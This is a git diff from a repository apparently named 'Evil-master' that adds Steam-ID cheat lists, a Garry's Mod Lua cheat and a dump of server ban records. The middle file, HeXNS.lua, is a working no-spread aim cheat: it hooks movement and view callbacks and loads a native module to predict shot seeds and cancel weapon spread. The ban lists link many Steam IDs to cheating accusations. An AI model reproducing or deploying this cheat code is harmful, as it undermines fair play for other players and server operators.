+STEAM_0:0:39163312;Cheat: Code injection +STEAM_0:0:5682164;Cheat: Code injection +STEAM_0:0:23750602;Cheat: Code injection +STEAM_0:1:10088463;Cheat: Code injection +STEAM_0:1:32835647;Cheat: Code injection +STEAM_0:0:31615557;Cheat: Code injection +STEAM_0:0:45523007;Cheat: Code injection +STEAM_0:0:29239364;Cheat: Code injection +STEAM_0:0:19038701;Cheat: Code injection +STEAM_0:1:21605065;Cheat: Code injection +STEAM_0:1:26344770;Cheat: Code injection +STEAM_0:1:38812224;Cheat: Code injection +STEAM_0:0:32982037;Cheat: CubHack +STEAM_0:0:28183970;Cheat: Code injection +STEAM_0:0:20743276;Cheat: Code injection +STEAM_0:1:421861172;Cheat: Speedhack +STEAM_0:1:30470607;Cheat: Code injection +STEAM_0:1:18704943;Cheat: Code injection(unbanned) +STEAM_0:0:30256551;Cheat: Code injection +STEAM_0:1:33289438;Cheat: Code injection +STEAM_0:1:17267267;Cheat: Inkbot +STEAM_0:0:33459537;Cheat: rc/rf +STEAM_0:0:7382018;Cheat: Code injection +STEAM_0:1:44810352;Cheat: Code injection +STEAM_0:1:26676964;Cheat: Code injection +STEAM_0:0:24988955;Cheat: Code injection +STEAM_0:0:14922341;Cheat: Code injection +STEAM_0:0:24974888;Cheat: Code injection +STEAM_0:0:36180396;Cheat: Code injection +STEAM_0:1:30107073;Cheat: Code injection +STEAM_0:0:43988463;Cheat: Code injection +STEAM_0:1:19831541;Cheat: Code injection +STEAM_0:1:37681134;Cheat: CubHack +STEAM_0:1:29226146;Cheat: CubHack +STEAM_0:1:44138147;Cheat: Code injection +STEAM_0:0:19318165;Cheat: Code injection +STEAM_0:0:30714265;Cheat: Code injection +STEAM_0:0:39187983;Cheat: Code injection +STEAM_0:0:36794289;Cheat: Code injection +STEAM_0:1:33708353;Cheat: Code injection +STEAM_0:1:12406388;Cheat: Code injection +STEAM_0:0:27068832;Cheat: Code injection +STEAM_0:1:36928215;Cheat: Code injection +STEAM_0:0:41802;Cheat: Code injection +STEAM_0:0:30735853;Cheat: Code injection +STEAM_0:0:10418914;Cheat: Code injection +STEAM_0:0:30354552;Cheat: Code injection +STEAM_0:0:30652639;Cheat: Code injection +STEAM_0:0:22534432;Cheat: Code injection +STEAM_0:1:30537140;Cheat: Code injection +STEAM_0:0:18691624;Cheat: Code injection +STEAM_0:0:18007424;Cheat: Code injection +STEAM_0:1:38572580;Cheat: Code injection +STEAM_0:1:42476821;Cheat: Unknown +STEAM_0:1:36927998;Cheat: Unknown +STEAM_0:1:25107044;Cheat: Code injection +STEAM_0:0:44107553;Cheat: Code injection +STEAM_0:0:20406383;Cheat: Code injection +STEAM_0:1:15789158;Cheat: Code injection +STEAM_0:1:22227066;Cheat: Code injection +STEAM_0:1:21555783;Cheat: Code injection +STEAM_0:0:37589369;Cheat: Code injection +STEAM_0:1:26057694;Cheat: Code injection +STEAM_0:1:25397734;Cheat: Code injection +STEAM_0:0:38604448;Cheat: Code injection +STEAM_0:0:15726896;Cheat: Inkbot +STEAM_0:0:19811962;Cheat: Inkbot +STEAM_0:0:38727026;Cheat: Code injection +STEAM_0:1:23359101;Cheat: Code injection +STEAM_0:0:36250162;Cheat: Eradicate +STEAM_0:1:20264839;Cheat: Unknown +STEAM_0:1:17629619;Cheat: Isis +STEAM_0:0:32752830;Cheat: Code injection +STEAM_0:1:38418099;Cheat: Code injection +STEAM_0:0:26745412;Cheat: Code injection +STEAM_0:0:29255499;Cheat: Code injection +STEAM_0:1:31854870;Cheat: Code injection +STEAM_0:1:22582910;Cheat: Code injection +STEAM_0:1:22689778;Cheat: Code injection +STEAM_0:0:24794531;Cheat: Code injection +STEAM_0:1:34494278;Cheat: Code injection +STEAM_0:0:42475015;Cheat: Code injection +STEAM_0:0:5305833;Cheat: Pees +STEAM_0:0:29466967;Cheat: Code injection +STEAM_0:0:20043407;Cheat: Code injection +STEAM_0:1:12965434;Cheat: Code injection +STEAM_0:1:8856483;Cheat: Code injection +STEAM_0:1:21779583;Cheat: Code injection +STEAM_0:0:32819171;Cheat: Code injection +STEAM_0:1:25272720;Cheat: Code injection +STEAM_0:1:41391523;Cheat: Code injection +STEAM_0:1:37173161;Cheat: Code injection +STEAM_0:1:15479136;Cheat: Code injection +STEAM_0:0:25900751;Cheat: Code injection +STEAM_0:0:23403890;Cheat: Mydik +STEAM_0:1:39945838;Cheat: Code injection +STEAM_0:1:13709339;Cheat: LHM +STEAM_0:1:25783134;Cheat: Code injection +STEAM_0:1:3992689;Cheat: LHM +STEAM_0:0:29437358;Cheat: LHM +STEAM_0:1:14239923;Cheat: Inkbot +STEAM_0:1:37543716;Cheat: Inkbot +STEAM_0:1:42084743;Cheat: Gooberhack +STEAM_0:0:26637072;Cheat: Herpaflerp +STEAM_0:0:19735449;Cheat: Litebotgarry +STEAM_0:0:19561634;Cheat: Code injection +STEAM_0:1:3176600;Cheat: Mydik +STEAM_0:0:25295126;Cheat: Mydik +STEAM_0:0:34092283;Cheat: Gooberhack +STEAM_0:1:13014240;Cheat: Mydik +STEAM_0:0:2255757;Cheat: Mydik +STEAM_0:1:6018850;Cheat: Code injection +STEAM_0:0:29248785;Cheat: Code injection +STEAM_0:0:33017392;Cheat: Code injection +STEAM_0:1:10569351;Cheat: Eradicate +STEAM_0:1:25636734;Cheat: Code injection +STEAM_0:0:39817531;Cheat: Code injection +STEAM_0:1:25484778;Cheat: Code injection +STEAM_0:0:31109435;Cheat: Code injection +STEAM_0:0:26707259;Cheat: Code injection +STEAM_0:0:33752125;Cheat: Code injection +STEAM_0:1:23946737;Cheat: Code injection +STEAM_0:0:41087968;Cheat: Code injection +STEAM_0:1:28372989;Cheat: Code injection +STEAM_0:1:20513516;Cheat: Code injection +STEAM_0:0:13498644;Cheat: Code injection +STEAM_0:1:32073049;Cheat: Code injection +STEAM_0:0:17104852;Cheat: Code injection +STEAM_0:1:11726504;Cheat: Code injection +STEAM_0:0:19622107;Cheat: Code injection +STEAM_0:1:1816051;Cheat: Code injection +STEAM_0:1:15292404;Cheat: Code injection +STEAM_0:0:18167133;Cheat: Code injection +STEAM_0:1:6183216;Cheat: Code injection +STEAM_0:1:10908429;Cheat: Code injection +STEAM_0:1:6076942;Cheat: Code injection +STEAM_0:0:41331055;Cheat: Code injection +STEAM_0:0:41745347;Cheat: Code injection +STEAM_0:1:28757742;Cheat: Code injection +STEAM_0:1:31713955;Cheat: Code injection +STEAM_0:1:24595045;Cheat: Code injection +STEAM_0:0:11481020;Cheat: Code injection +STEAM_0:1:41274325;Cheat: Code injection +STEAM_0:1:18214819;Cheat: Code injection +STEAM_0:0:15644324;Cheat: Code injection +STEAM_0:0:41331055;Cheat: Code injection +STEAM_0:0:23888757;Cheat: Code injection +STEAM_0:1:15922559;Cheat: Code injection +STEAM_0:0:24963345;Cheat: Code injection +STEAM_0:1:20237730;Cheat: Code injection +STEAM_0:1:40856910;Cheat: Code injection +STEAM_0:1:14220841;Cheat: Code injection +STEAM_0:1:15575003;Cheat: Code injection +STEAM_0:1:23361066;Cheat: Code injection +STEAM_0:1:32234981;Cheat: Code injection +STEAM_0:1:36017201;Cheat: Code injection +STEAM_0:0:21044008;Cheat: Code injection +STEAM_0:0:26526813;Cheat: Code injection +STEAM_0:0:22349391;Cheat: Code injection +STEAM_0:0:30874880;Cheat: Code injection +STEAM_0:0:37814204;Cheat: Code injection +STEAM_0:1:15712642;Cheat: Code injection +STEAM_0:1:19916550;Cheat: Code injection +STEAM_0:0:3228595;Cheat: Code injection +STEAM_0:1:32324604;Cheat: Code injection +STEAM_0:1:17424205;Cheat: Code injection +STEAM_0:0:20102730;Cheat: Code injection +STEAM_0:1:17790269;Cheat: Code injection +STEAM_0:0:34143111;Cheat: Code injection +STEAM_0:0:18838483;Cheat: Code injection +STEAM_0:1:14496711;Cheat: Injectshunt +STEAM_0:0:11799654;Cheat: SethHack(edit) +STEAM_0:1:15029381;Cheat: Whip it good +STEAM_0:0:5979318;Cheat: Whip it good +STEAM_0:1:30594971;Cheat: Code injection +STEAM_0:1:11641057;Cheat: Code injection +STEAM_0:1:18460701;Cheat: Sethhack +STEAM_0:0:26159643;Cheat: Inkbot +STEAM_0:0:14073219;Cheat: Convar forcing +STEAM_0:0:35192837;Cheat: Sethhack +STEAM_0:1:25757548;Cheat: Eradicate +STEAM_0:1:10897283;Cheat: Sethhack +STEAM_0:1:17041504;Cheat: Convar forcing +STEAM_0:1:18460921;Cheat: Sethhack +STEAM_0:0:19254119;Cheat: Sethhack +STEAM_0:0:32655084;Cheat: Sethhack +STEAM_0:0:12190592;Cheat: Code injection +STEAM_0:0:17605909;Cheat: Sethhack +STEAM_0:0:14690776;Cheat: Sethhack +STEAM_0:0:28871977;Cheat: Speedhack +STEAM_0:0:2294681;Cheat: Convar forcing +STEAM_0:1:6068936;Cheat: Code injection +STEAM_0:1:37836545;Cheat: Hermes +STEAM_0:1:6427907;Cheat: Aspergers +STEAM_0:1:12209165;Cheat: Hermes +STEAM_0:0:13388289;Cheat: Eradicate +STEAM_0:1:18811312;Cheat: SySHack +STEAM_0:1:16190578;Cheat: Sethhack +STEAM_0:0:31831863;Cheat: Sethhack +STEAM_0:1:37548052;Cheat: Inkbot +STEAM_0:0:31831863;Cheat: Sethhack(leaked) +STEAM_0:0:18816061;Cheat: Sethhack(leaked) +STEAM_0:0:15446164;Cheat: Hermes +STEAM_0:1:20789337;Cheat: Hermes +STEAM_0:1:20789337;Cheat: Hermes +STEAM_0:0:19938980;Cheat: Sethhack +STEAM_0:1:21918773;Cheat: Sethhack +STEAM_0:0:28903624;Cheat: Sethhack +STEAM_0:1:22018370;Cheat: Sethhack +STEAM_0:0:31866003;Cheat: Sethhack +STEAM_0:0:38362287;Cheat: Sethhack +STEAM_0:1:12808689;Cheat: Sethhack +STEAM_0:1:32988394;Cheat: Sethhack +STEAM_0:1:25879423;Cheat: Sethhack +STEAM_0:1:37118627;Cheat: Sethhack +STEAM_0:1:19732775;Cheat: Ph0ne +STEAM_0:0:14530371;Cheat: Code injection(SQLite) +STEAM_0:0:17003802;Cheat: Code injection(SQLite) +STEAM_0:0:29163952;Cheat: Code injection(SQLite) +STEAM_0:0:5325124;Cheat: Code injection(SQLite) +STEAM_0:1:29853070;Cheat: Code injection(SQLite) +STEAM_0:0:22770384;Cheat: Sethhack +STEAM_0:1:7334549;Cheat: Code injection(SQLite) +STEAM_0:1:20026079;Cheat: Odius +STEAM_0:1:27526575;Cheat: Odius +STEAM_0:1:13196020;Cheat: Eradicate +STEAM_0:1:33763522;Cheat: Sethhack +STEAM_0:1:24435842;Cheat: Sethhack +STEAM_0:1:37118627;Cheat: Sethhack +STEAM_0:1:24435842;Cheat: Sethhack +STEAM_0:0:29163952;Cheat: Code injection +STEAM_0:0:22748305;Cheat: Baconbot +STEAM_0:0:20327715;Cheat: Sethhack +STEAM_0:0:19586627;Cheat: Convar forcing +STEAM_0:1:29478760;Cheat: Convar forcing +STEAM_0:1:25369713;Cheat: Convar forcing +STEAM_0:0:22914080;Cheat: Convar forcing +STEAM_0:1:21523239;Cheat: Baconbot +STEAM_0:0:31767822;Cheat: Baconbot +STEAM_0:1:16421568;Cheat: Convar forcing +STEAM_0:1:19748919;Cheat: Baconbot +STEAM_0:1:17749887;Cheat: Baconbot +STEAM_0:1:16212076;Cheat: Baconbot +STEAM_0:0:33944948;Cheat: Baconbot +STEAM_0:1:1198860;Cheat: Baconbot +STEAM_0:0:1194255;Cheat: Baconbot +STEAM_0:1:18361092;Cheat: Baconbot +STEAM_0:0:20088064;Cheat: Baconbot +STEAM_0:0:3597677;Cheat: Speedhack +STEAM_0:1:25915952;Cheat: Sethhack +STEAM_0:1:24309692;Cheat: Sethhack +STEAM_0:0:19878867;Cheat: Sethhack +STEAM_0:0:6669318;Cheat: Sethhack +STEAM_0:1:22240086;Cheat: Sethhack +STEAM_0:1:22293020;Cheat: Sethhack +STEAM_0:1:25315900;Cheat: Sethhack +STEAM_0:1:15465879;Cheat: Sethhack +STEAM_0:1:27791499;Cheat: Sethhack +STEAM_0:1:21748050;Cheat: Sethhack +STEAM_0:1:17465034;Cheat: Sethhack +STEAM_0:1:14563562;Cheat: Sethhack +STEAM_0:0:18515312;Cheat: Sethhack +STEAM_0:0:21373726;Cheat: Sethhack +STEAM_0:1:23674993;Cheat: Sethhack +STEAM_0:0:14100771;Cheat: Sethhack +STEAM_0:0:25331167;Cheat: Sethhack +STEAM_0:1:20811691;Cheat: Sethhack +STEAM_0:1:8343226;Cheat: Sethhack +STEAM_0:0:17141267;Cheat: Sethhack +STEAM_0:1:2381903;Cheat: Sethhack +STEAM_0:0:20314230;Cheat: Sethhack +STEAM_0:1:26262689;Cheat: Sethhack +STEAM_0:0:29351959;Cheat: Sethhack +STEAM_0:1:16373250;Cheat: Sethhack +STEAM_0:1:5247800;Cheat: Sethhack +STEAM_0:1:17906432;Cheat: Sethhack +STEAM_0:1:30433726;Cheat: Sethhack +STEAM_0:0:16764526;Cheat: Baconbot +STEAM_0:1:14928653;Cheat: Baconbot +STEAM_0:0:11680407;Cheat: Baconbot +STEAM_0:1:18011105;Cheat: Baconbot +STEAM_0:1:30046997;Cheat: Baconbot +STEAM_0:0:15521306;Cheat: Convar forcing +STEAM_0:0:18952303;Cheat: Baconbot +STEAM_0:0:30626912;Cheat: Baconbot +STEAM_0:1:22597435;Cheat: Baconbot +STEAM_0:0:14891104;Cheat: Convar forcing +STEAM_0:0:17574951;Cheat: Baconbot +STEAM_0:1:34176202;Cheat: Baconbot +STEAM_0:1:9750737;Cheat: Convar forcing +STEAM_0:0:19321794;Cheat: Convar forcing +STEAM_0:0:16018224;Cheat: Convar forcing +STEAM_0:0:14073219;Cheat: Baconbot +STEAM_0:1:30764583;Cheat: Baconbot +STEAM_0:0:22247737;Cheat: Baconbot +STEAM_0:0:19648713;Cheat: Baconbot +STEAM_0:0:19248793;Cheat: Baconbot +STEAM_0:1:13100739;Cheat: Baconbot +STEAM_0:1:13908513;Cheat: Baconbot +STEAM_0:1:15710428;Cheat: Unknown +STEAM_0:1:22111898;Cheat: Convar forcing +STEAM_0:1:15404351;Cheat: Baconbot +STEAM_0:1:19957547;Cheat: Baconbot +STEAM_0:1:15404351;Cheat: Baconbot +STEAM_0:0:21491851;Cheat: Unknown +STEAM_0:0:29046889;Cheat: Unknown +STEAM_0:0:3592017;Cheat: Unknown +STEAM_0:0:18146611;Cheat: Unknown +STEAM_0:0:19767060;Cheat: Unknown +STEAM_0:0:5100034;Cheat: Unknown +STEAM_0:0:24859251;Cheat: Unknown +STEAM_0:0:24318831;Cheat: Unknown +STEAM_0:0:21513525;Cheat: Baconbot +STEAM_0:0:3592017;Cheat: Baconbot +STEAM_0:0:29790222;Cheat: Baconbot +STEAM_0:1:18227696;Cheat: Baconbot +STEAM_0:1:30286410;Cheat: Baconbot +STEAM_0:1:22038220;Cheat: Baconbot +STEAM_0:1:33488877;Cheat: Baconbot +STEAM_0:0:16042279;Cheat: Baconbot +STEAM_0:1:19354830;Cheat: Baconbot +STEAM_0:1:20810532;Cheat: Baconbot +STEAM_0:0:19531733;Cheat: Baconbot +STEAM_0:0:33443787;Cheat: Baconbot +STEAM_0:1:9011787;Cheat: Baconbot +STEAM_0:1:22111898;Cheat: Baconbot +STEAM_0:1:12040384;Cheat: Unknown +STEAM_0:0:8345987;Cheat: Unknown +STEAM_0:0:19490976;Cheat: Unknown +STEAM_0:0:3749847;Cheat: Unknown +STEAM_0:1:27042639;Cheat: Unknown +STEAM_0:0:18511864;Cheat: Unknown +STEAM_0:1:29771895;Cheat: Unknown +STEAM_0:1:29535476;Cheat: Unknown +STEAM_0:1:17568188;Cheat: Unknown +STEAM_0:1:17908541;Cheat: Unknown +STEAM_0:0:18287027;Cheat: Unknown +STEAM_0:1:15476329;Cheat: Unknown +STEAM_0:1:29502701;Cheat: Unknown +STEAM_0:0:15500261;Cheat: Unknown +STEAM_0:0:16267538;Cheat: Unknown +STEAM_0:0:20479184;Cheat: Unknown +STEAM_0:0:26269678;Cheat: Unknown +STEAM_0:1:18617255;Cheat: Unknown +STEAM_0:0:27332827;Cheat: Unknown +STEAM_0:0:25559717;Cheat: Unknown +STEAM_0:1:29142644;Cheat: Unknown +STEAM_0:1:21756969;Cheat: Unknown +STEAM_0:1:19650313;Cheat: Unknown +STEAM_0:1:21756969;Cheat: Unknown +STEAM_0:1:15231011;Cheat: Unknown +STEAM_0:1:15979882;Cheat: Unknown +STEAM_0:1:5247800;Cheat: Unknown +STEAM_0:0:29192036;Cheat: Unknown +STEAM_0:0:31585345;Cheat: Unknown +STEAM_0:0:16330620;Cheat: Unknown +STEAM_0:1:16485732;Cheat: Unknown +STEAM_0:1:22482699;Cheat: Unknown +STEAM_0:0:20854764;Cheat: Unknown +STEAM_0:1:30710525;Cheat: Unknown +STEAM_0:0:5550966;Cheat: Unknown +STEAM_0:0:25470945;Cheat: Unknown +STEAM_0:0:26895317;Cheat: Unknown +STEAM_0:0:11431754;Cheat: Unknown +STEAM_0:0:28656241;Cheat: Unknown +STEAM_0:0:10131725;Cheat: Unknown +STEAM_0:0:19807101;Cheat: Unknown +STEAM_0:0:26165399;Cheat: Unknown +STEAM_0:1:18222074;Cheat: Unknown +STEAM_0:1:18307252;Cheat: Unknown +STEAM_0:0:22284069;Cheat: Unknown +STEAM_0:0:17600393;Cheat: Unknown +STEAM_0:0:8615861;Cheat: Unknown +STEAM_0:0:11801739;Cheat: Unknown +STEAM_0:1:22111898;Cheat: Baconbot +STEAM_0:0:16499611;Cheat: Baconbot +STEAM_0:0:9643377 ;Cheat: Speedhack +STEAM_0:0:38808302;Cheat: Unknown \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua new file mode 100644 index 0000000..13c8e56 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua @@ -0,0 +1 @@ +if SERVER then return end concommand.Add("hex_nospread_kill", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") end) concommand.Add("hex_nospread_reload", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") timer.Simple(0.2,function() include("HeX/demand/HeXNS.lua") end) end) if not HeXGlobal_NSLoaded then concommand.Add("hex_nospread_load", function() HeXGlobal_NSLoaded = true timer.Simple(1,function() include("HeX/client/HeXNS.lua") end) end) return end local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local AimSmooth = CreateClientConVar( "hex_nospread_smooth", 0, true, false ) local clientsidenoclip = false local iZoom = 0 local iZoomAdd = 0 local MoveSpeed = 1 local ucorrected = Angle(0,0,0) local ghostpos = nil local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 local function HeXSetupMove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if LocalPlayer():KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif LocalPlayer():KeyDown(IN_WALK) then scale = cone elseif (LocalPlayer():KeyDown(IN_SPEED) or LocalPlayer():KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (LocalPlayer():KeyDown(IN_FORWARD) or LocalPlayer():KeyDown(IN_BACK) or LocalPlayer():KeyDown(IN_MOVELEFT) or LocalPlayer():KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if LocalPlayer():Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if LocalPlayer():GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if LocalPlayer():GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if LocalPlayer():IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if LocalPlayer():KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } local function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end if not HeXGlobal_NSModuleLoaded then HeXGlobal_NSModuleLoaded = true require("hex0") package.loaded.hex0 = nil HeXGlobal_hl2_shotmanip = hl2_shotmanip HeXGlobal_hl2_ucmd_getprediciton = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil end local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone local function HeXSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = HeXGlobal_hl2_ucmd_getprediciton(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return HeXGlobal_hl2_shotmanip(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function HeXCMove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = HeXSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end --if !clientsidenoclip:GetBool() || ghostpos == nil then if !clientsidenoclip || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if HeXNoSpread:GetBool() then local ang = HeXSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end local function HeXCalcView( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) then return end if clientsidenoclip && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end --hook.Add("SetupMove", "HeXSetupMove", HeXSetupMove) hook.Add("Initialize", "CheckCheck", CheckCheck) hook.Add("CreateMove", "HeXCMove", HeXCMove) hook.Add("CalcView", "HeXCalcView", HeXCalcView) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt new file mode 100644 index 0000000..eea0f58 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt @@ -0,0 +1,9072 @@ + + BanList + +** +Date Name Steamid Reason Admin Server Gamemode +Time (d:h:m) + + Status +9:41 pm 23-06-12 Cheese STEAM_0:0:40110328 stop +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Banned +9:40 pm 23-06-12 ThaHax1337 STEAM_0:0:16017873 you can shut up too ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Banned +8:51 pm 23-06-12 Unknown STEAM_0:0:40906562 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:50 pm 23-06-12 Unknown STEAM_0:0:49963094 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:49 pm 23-06-12 Unknown STEAM_0:1:39052921 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:48 pm 23-06-12 Unknown STEAM_0:1:43651259 Cheat: neon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:48 pm 23-06-12 Unknown STEAM_0:0:11406901 Cheat: pockybot (Edit of +age-old slobbot, perhaps?) (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +8:47 pm 23-06-12 Unknown STEAM_0:0:20973005 Cheat: inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:45 pm 23-06-12 Unknown STEAM_0:0:18648599 Cheat: inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:45 pm 23-06-12 Unknown STEAM_0:1:30602489 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:43 pm 23-06-12 Unknown STEAM_0:0:10384960 Cheat: g (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:42 pm 23-06-12 Unknown STEAM_0:0:22313374 Cheat: int (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:41 pm 23-06-12 Unknown STEAM_0:1:2826106 Cheat: int (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:40 pm 23-06-12 Unknown STEAM_0:0:29999073 Cheat: monsterhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:38 pm 23-06-12 Unknown STEAM_0:1:40296742 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:37 pm 23-06-12 Unknown STEAM_0:1:30714994 Cheat: neon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:36 pm 23-06-12 Unknown STEAM_0:1:24177661 Cheat: Elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:36 pm 23-06-12 Unknown STEAM_0:1:41886656 Cheat: Elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:35 pm 23-06-12 Unknown STEAM_0:0:20651275 Cheat: Neon (Console) 